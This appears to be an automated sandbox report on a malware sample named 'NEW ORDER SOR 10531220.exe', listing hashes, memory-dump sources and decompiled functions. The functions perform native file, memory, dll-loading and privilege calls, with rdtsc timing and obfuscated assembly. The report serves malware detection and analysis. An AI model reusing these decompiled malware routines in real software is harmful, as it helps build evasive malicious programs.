Opcode Fuzzy Hash: 3b39ca0fd4f475ccb7966fa9c45c33cc4473da47a5885ca978831235f927b05d
Instruction Fuzzy Hash: DA01FC718087C49AEB2A5AE9DC84766FBD8EF41238F09855AEA044B2C6C3B59444C6B2

Uniqueness

Uniqueness Score: -1.00%

Function 0110D748, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243906828.000000000110D000.00000040.00000001.sdmp, Offset: 0110D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21bff9e46ead3ae2dde7dabf424ef4fba646ebebab65fbdfef52a0752eecc0aa
Instruction ID: 1ea6373c19edf489756d685b340139b77e9f91688818d9b986ca07cf1a1906c1
Opcode Fuzzy Hash: 21bff9e46ead3ae2dde7dabf424ef4fba646ebebab65fbdfef52a0752eecc0aa
Instruction Fuzzy Hash: 71F068714046849AEB159A9ADC84762FF98EB81634F18C55AEE045B286C3759844CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0130C2B0, Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9b15dffe019311706c3ecbaec11008197aad5e704366d20aa2d5f8971ab5559
Instruction ID: 7e420445c8ce96ce4cd629ba588ef0d7fdb348192106c26badf909a37ba6ae91
Opcode Fuzzy Hash: a9b15dffe019311706c3ecbaec11008197aad5e704366d20aa2d5f8971ab5559
Instruction Fuzzy Hash: B65277B15007468BD731DF18ECD81D97BA0FB41318F916218DA62BBAD8D3B465EACF80

Uniqueness

Uniqueness Score: -1.00%

Function 01309990, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b0b931334c5bd5503505b52f6875ea91f1eae38feac3b8a42f91ff9d3477043
Instruction ID: f27d6843bd4b88498c4a618928296f3ab63da34506465dd2d1b8a5bbc5cd425f
Opcode Fuzzy Hash: 3b0b931334c5bd5503505b52f6875ea91f1eae38feac3b8a42f91ff9d3477043
Instruction Fuzzy Hash: CFA1A236E0021A8FCF16CFA9C8545DDFBF2FF85304B15816AE905BB265EB31A955CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0130FCB0, Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e543c4b56dcaedbde7e8ef78a15ebeb273770fd5d14a1d5a5c8d78819f6b68
Instruction ID: 6250b8e8c7240da80ec1de61bb2df6234a0719ef2b362c811bc2b9d3b3631cbe
Opcode Fuzzy Hash: e2e543c4b56dcaedbde7e8ef78a15ebeb273770fd5d14a1d5a5c8d78819f6b68
Instruction Fuzzy Hash: 34617B70E0420A9FCB15CFA9D451AEEFBFAFF88314F14C426D524A7299E73499418FA0

Uniqueness

Uniqueness Score: -1.00%

Function 0130FCC0, Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac04998476cb4bb6e1e8767a34d2b5e1ac5013dd9481df9c2bddb68619dc82f3
Instruction ID: 1d3b4cd5e24eb4aca25aa1a4bddb5c42c5811888c0fd2524a931260b9c10837e
Opcode Fuzzy Hash: ac04998476cb4bb6e1e8767a34d2b5e1ac5013dd9481df9c2bddb68619dc82f3
Instruction Fuzzy Hash: 7A616970E0420E9FCB15CFE9D4909EEFBFABB88314F14C426D515A7299E73499418FA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: NEW ORDER SOR 10531220.exe PID: 6176 Parent PID: 3756 NEW ORDER SOR 10531220.exeCOMMON

Executed Functions

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E32, 00419E40
BMA, xrefs: 00419E4D, 00419E54

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: bd248b349f18b2ced93d1e709abaf342431bbeaaaaa26160fd0c904447d41470
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 45F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158649BE1DA7241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040ACD0(void* _a4, intOrPtr _a8) {
				char* _v8;
				char _v12;
				void* _v16;
				char _v536;
				void* _t15;

				_v8 =  &_v536;
				_t15 = E0041C650( &_v12, 0x104, _a8);
				if(_t15 != 0) {
					E0041CA70(__eflags, _v8);
					asm("les eax, [eax*4-0x72f18b40]");
				} else {
					return _t15;
				}
			}

0x0040acec
0x0040acef
0x0040acf9
0x0040ad03
0x0040ad09
0x0040acfe
0x0040acfe
0x0040acfe

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD42

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: b21dceb9c17b581325113e7f9749888d8b8163c3e846858d6705abbd9991eecb
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: A8015EB5D4020DBBDF10DBA5DC82FDEB3789F54308F0041AAE909A7281F635EB548B96

Uniqueness

Uniqueness Score: -1.00%

Function 00419D5A, Relevance: 1.5, APIs: 1, Instructions: 43
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00419D5A(void* __ebx, void* __ecx, void* __edx, intOrPtr _a8, HANDLE* _a12, long _a16, struct _EXCEPTION_RECORD _a20, struct _ERESOURCE_LITE _a24, struct _GUID _a28, long _a32, long _a36, long _a40, long _a44, void* _a48, long _a52) {
				void* _v117;
				long _t22;
				void* _t38;
				void* _t39;

				_pop(es);
				_t4 = _a8 + 0xc40; // 0xc40
				E0041A960(_t38, _a8, _t4,  *((intOrPtr*)(_a8 + 0x10)), 0, 0x28, _t39);
				_t22 = NtCreateFile(_a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48, _a52); // executed
				return _t22;
			}

0x00419d5a
0x00419d6f
0x00419d77
0x00419dad
0x00419db1

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c7d60e7bebb5450a9e95584f5b32a3406881caf65b91832c7cd0ba326786ff6
Instruction ID: 601d5f0c3bcf52e11414399372f39b4f8f15bc70102d4d24cb36216df394914d
Opcode Fuzzy Hash: 0c7d60e7bebb5450a9e95584f5b32a3406881caf65b91832c7cd0ba326786ff6
Instruction Fuzzy Hash: 5101E4B6200108BFCB48CF98CC95EEB37A9AF8C354F158248FA4D93241C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00419D60, Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d405ca8330a7760d33d8cb8f94c0e61ce0ec213ce21d6c827413d184fac496c
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: F1F0B2B2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419F40, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB34,?,00000000,?,00003000,00000040,00000000,00000000,00409CD3), ref: 00419F79

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 9c08e1581e5817f7e91e4b21b7a397560e598f802d56d9274a49c90b7c070efe
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 1EF015B2210208ABCB14DF89CC81EEB77ADEF88754F158549BE08A7241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e68336ecf97fcbff1cce52d5eab911d0c0d253976a6ab71543f56f2ca0e2158f
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 6CD012752002146BD710EB99CC85ED7776CEF44760F154459BA5C5B242C530F55086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00409A90, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409A90(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* __ebx;
				void* __ebp;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407E80(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00408090( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041B810( &_v284, 0x104);
						E0041BE80( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00414DC0(E00414D60(_t39, _t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe045
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E004080C0( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E00408140(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00409a9b
0x00409aa3
0x00409aa5
0x00409aaa
0x00409aaf
0x00409ac2
0x00409ac7
0x00409ad0
0x00409adc
0x00409aef
0x00409af4
0x00409af7
0x00409b00
0x00409b12
0x00409b17
0x00409b1c
0x00000000
0x00000000
0x00409b1e
0x00409b22
0x00000000
0x00000000
0x00409b24
0x00000000
0x00409b22
0x00409b26
0x00409b29
0x00409b2f
0x00409b31
0x00409b3c
0x00409b41
0x00409b44
0x00409b51
0x00409b5c
0x00409b5e
0x00409b64
0x00409b68
0x00409b6b
0x00409b6b
0x00409b72
0x00409b75
0x00409b7a
0x00409b87
0x00409ab6
0x00409ab6
0x00409ab6

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction ID: 3804b4b6881f0f279124858c5e35b72bf87e4fbc11d5a75f000cd7e24852ad46
Opcode Fuzzy Hash: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction Fuzzy Hash: 64213CB2D4020857CB25D664AD42AEF737CEB54308F04017FE949A3182F7387E49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A2, Relevance: 3.0, APIs: 2, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0041A0A2() {
				void* _t13;
				void* _t14;

				asm("loop 0xffffffe3");
				asm("sbb edx, [ebp+0x3d]");
				asm("outsd");
				E0041A960(_t13,  *0x252C93B4,  *0x252C93B4 + 0xc7c,  *((intOrPtr*)( *0x252C93B4 + 0xa14)), 0, 0x36, _t14);
				ExitProcess( *0x252C93B8);
			}

0x0041a0a7
0x0041a0ab
0x0041a0ae
0x0041a0ca
0x0041a0d8

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D
ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeHeapProcess
String ID:
API String ID: 1180424539-0
Opcode ID: f6c6b7e9f874acbb5e24f6df81b5b962566956426bafd594253759f7466abdfb
Instruction ID: dfe6be87eaf613e9bff17485f2058308e710aadc39f86a931e87ebc63131f13e
Opcode Fuzzy Hash: f6c6b7e9f874acbb5e24f6df81b5b962566956426bafd594253759f7466abdfb
Instruction Fuzzy Hash: 5AF0BEB51442046FCB00DF68CC81DD73BA8EF85300F19859AFC9857302C136EA65CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 004082B7, Relevance: 1.6, APIs: 1, Instructions: 58
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E004082B7(void* __ebx, void* __eflags) {
				void* _t14;
				int _t15;
				intOrPtr* _t18;
				void* _t22;
				long _t27;
				int _t32;
				void* _t36;

				asm("lahf");
				asm("loopne 0xfffffff3");
				if(__eflags >= 0) {
					_push(0);
					 *((char*)(_t36 - 0x40)) = 0;
					E0041B860();
					E0041C400(_t36 - 0x40, 3);
					_t14 = E0040ACD0( *((intOrPtr*)(_t36 + 8)) + 0x1c, _t36 - 0x40); // executed
					_t15 = E00414E20( *((intOrPtr*)(_t36 + 8)) + 0x1c, _t14, 0, 0, 0xc4e7b6d6);
					_t32 = _t15;
					__eflags = _t32;
					if(_t32 != 0) {
						_t27 =  *(_t36 + 0xc);
						_t15 = PostThreadMessageW(_t27, 0x111, 0, 0); // executed
						__eflags = _t15;
						if(__eflags == 0) {
							_t15 =  *_t32(_t27, 0x8003, _t36 + (E0040A460(__eflags, 1, 8) & 0x000000ff) - 0x40, _t15);
						}
					}
					return _t15;
				} else {
					_t18 =  *((intOrPtr*)(__ebx + 0x68567d42));
					_push(0x11c6f95e);
					asm("adc eax, ebp");
					asm("aad 0x2f");
					 *_t18 =  *_t18 + _t18;
					return E0041B150(_t22) + _t18 + 0x1000;
				}
			}

0x004082b7
0x004082b8
0x004082ba
0x004082fc
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x00408338
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x0040836d
0x00408372
0x004082bc
0x004082bc
0x004082c1
0x004082c5
0x004082c7
0x004082c9
0x004082dd
0x004082dd

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 5dafad8645157707924cbe77efcaeb88fa797189e40deac6fd650b3f2405c07f
Instruction ID: a4ea6720f2cb17485ea8348e4560222eafeca804d913bde84d5f9ae5ffc66487
Opcode Fuzzy Hash: 5dafad8645157707924cbe77efcaeb88fa797189e40deac6fd650b3f2405c07f
Instruction Fuzzy Hash: 9F014C3168022876EB20A6589C43FFE372CAB40F14F04005EFE04FE2C2DABD291542ED

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E004082F0(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;

				_push(0x3f);
				_push(0);
				_push( &_v67);
				_v68 = 0;
				E0041B860();
				E0041C400( &_v68, 3);
				_t12 = E0040ACD0(_a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E20(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E0040A460(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x004082f7
0x004082fc
0x004082fe
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x00000000
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction ID: 99221eaed4bb2b1c73ef210b546efabe7985b039c1aa6a3efaa8447a865c7254
Opcode Fuzzy Hash: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction Fuzzy Hash: 7601D831A8031876E720A6959C43FFE772C6B40F54F044019FF04BA1C1D6A8691646EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C8, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041A1C8(void* __ecx, intOrPtr __esi, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t12;
				void* _t18;
				intOrPtr _t20;

				asm("int3");
				_t1 = __ecx - 0x6b;
				_t20 =  *_t1;
				 *_t1 = __esi;
				asm("repne js 0x59");
				E0041A960(_t18, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46, _t20);
				_t12 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t12;
			}

0x0041a1c8
0x0041a1ca
0x0041a1ca
0x0041a1ca
0x0041a1cd
0x0041a1ea
0x0041a200
0x0041a204

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 49d7c87dadd2f95b5c230768ba1e4e049cbb5e8a33f2a44fd09e165ddfd03276
Instruction ID: 2a4175f8681e5a020579612713c11a09e62331df14dd06152294c6132fcf9ec3
Opcode Fuzzy Hash: 49d7c87dadd2f95b5c230768ba1e4e049cbb5e8a33f2a44fd09e165ddfd03276
Instruction Fuzzy Hash: 8AF087B12002186BCB10EF95DC85DEB3768EF84624F01889AF9085B242C635A920CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD4B, Relevance: 1.5, APIs: 1, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040AD4B(void* __esi, void* __eflags, short* _a4, void* _a8) {
				void* _v4;
				short _v8;
				intOrPtr _v12;
				char _v16;
				void* __ebx;
				signed int __edi;
				void* __ebp;

				asm("clc");
				if(__eflags <= 0) {
					asm("les eax, [eax*4-0x72f18b40]");
				} else {
					__esi = __esi + 1;
					asm("iretd");
					_push(__ebp);
					__ebp = __esp;
					__esp = __esp - 0xc;
					_push(__esi);
					__esi = _a4;
					__eax =  *(__esi + 4);
					_push(__edi);
					__eax = E0041BAD0( *(__esi + 4));
					__edi =  *(__esi + 4);
					__ecx = 0;
					_v8 = __cx;
					__ecx = __eax + __eax;
					_t15 = __edi - 2; // -2
					__edx = __ecx + _t15;
					_v16 = 0x64002e;
					_v12 = 0x6c006c;
					__eflags =  *__edx - 0x20;
					if( *__edx == 0x20) {
						__eflags = __eax;
						if(__eax != 0) {
							while(1) {
								__eflags =  *__edx - 0x20;
								if( *__edx != 0x20) {
									goto L11;
								}
								__edx = __edx - 2;
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									continue;
								}
								goto L11;
							}
						}
						L11:
						__ecx = __eax + __eax;
						__edx = 0;
						__eflags = 0;
						 *((short*)(__ecx + __edi)) = __dx;
					}
					_t22 =  *(__esi + 4) - 2; // -2
					__eax = __ecx + _t22;
					__bl = 0;
					__eflags = __eax -  *(__esi + 4);
					if(__eax <  *(__esi + 4)) {
						L20:
						__edx =  *(__esi + 4);
						__ecx =  &_v16;
						__eax = E0041BAD0( *(__esi + 4));
						__ecx =  *(__esi + 4);
						__edx =  *(__esi + 4) + __eax * 2;
						__eax =  *(__esi + 4);
						__eax = E0041BAD0( *(__esi + 4));
						__eax = __eax + __eax;
						__eflags = __eax;
						 *__esi = __ax;
					} else {
						do {
							__ecx =  *__eax & 0x0000ffff;
							__eax = __eax - 2;
							__eflags = __ecx - 0x2e;
							if(__ecx != 0x2e) {
								__eflags = __ecx - 0x5c;
								if(__ecx == 0x5c) {
									 *(__esi + 4) = __eax;
									__eax = E0041BAD0(__eax);
									__eax = __eax + __eax;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									goto L16;
								}
							} else {
								__bl = 1;
								goto L16;
							}
							L19:
							__eflags = __bl;
							if(__bl == 0) {
								goto L20;
							}
							goto L21;
							L16:
							__eflags = __eax -  *(__esi + 4);
						} while (__eax >=  *(__esi + 4));
						goto L19;
					}
					L21:
					_pop(__edi);
					_pop(__esi);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
			}

0x0040ad4b
0x0040ad4c
0x0040ad09
0x0040ad4e
0x0040ad4e
0x0040ad4f
0x0040ad50
0x0040ad51
0x0040ad53
0x0040ad57
0x0040ad58
0x0040ad5b
0x0040ad5e
0x0040ad60
0x0040ad65
0x0040ad68
0x0040ad6a
0x0040ad6e
0x0040ad71
0x0040ad71
0x0040ad78
0x0040ad7f
0x0040ad86
0x0040ad8a
0x0040ad8c
0x0040ad8e
0x0040ad90
0x0040ad90
0x0040ad94
0x00000000
0x00000000
0x0040ad96
0x0040ad99
0x0040ad99
0x0040ad9a
0x00000000
0x00000000
0x00000000
0x0040ad9a
0x0040ad90
0x0040ad9c
0x0040ad9c
0x0040ad9f
0x0040ad9f
0x0040ada1
0x0040ada1
0x0040ada8
0x0040ada8
0x0040adac
0x0040adae
0x0040adb1
0x0040ade6
0x0040ade6
0x0040adeb
0x0040adf0
0x0040adf5
0x0040adf8
0x0040ae04
0x0040ae08
0x0040ae10
0x0040ae10
0x0040ae12
0x0040adb3
0x0040adb3
0x0040adb3
0x0040adb6
0x0040adb9
0x0040adbc
0x0040adc2
0x0040adc5
0x0040add2
0x0040add5
0x0040addd
0x0040addd
0x0040addf
0x00000000
0x00000000
0x00000000
0x0040adbe
0x0040adbe
0x00000000
0x0040adbe
0x0040ade2
0x0040ade2
0x0040ade4
0x00000000
0x00000000
0x00000000
0x0040adc7
0x0040adc7
0x0040adc7
0x00000000
0x0040adcc
0x0040ae15
0x0040ae15
0x0040ae16
0x0040ae18
0x0040ae1a
0x0040ae1b
0x0040ae1b

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD42

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 40ddbc86f9352e3fcdcc8f5a7d791e9644b24642f8cebb6f52011add2a06063a
Instruction ID: dfe65de649071f523f36b8f1b58759fc7357ba5e076af99d53e30a05308cd4c9
Opcode Fuzzy Hash: 40ddbc86f9352e3fcdcc8f5a7d791e9644b24642f8cebb6f52011add2a06063a
Instruction Fuzzy Hash: 31F0E5B5E0020DBBEB10CB94EC42F9EB774EB80708F108295E90CA7282F634EA158785

Uniqueness

Uniqueness Score: -1.00%

Function 0041A070, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: ebe44f756a2289fd31ae4d5b5361048190c1dc89d00c79db85c43397b2838655
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 81E01AB12102086BD714DF59CC45EA777ACEF88750F018559B90857241C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00414506,?,00414C7F,00414C7F,?,00414506,?,?,?,?,?,00000000,00409CD3,?), ref: 0041A05D

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 0bf4e0d92ddb4de2ba6a166865ddf054dca1a4f918bcd24d9368b88a9b8aca1a
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: F1E012B1210208ABDB14EF99CC81EA777ACEF88664F158559BA086B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 46e8f913edfca5d9b668009ee454d724baa27d6f5a7db77fbc9955010344b6d9
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
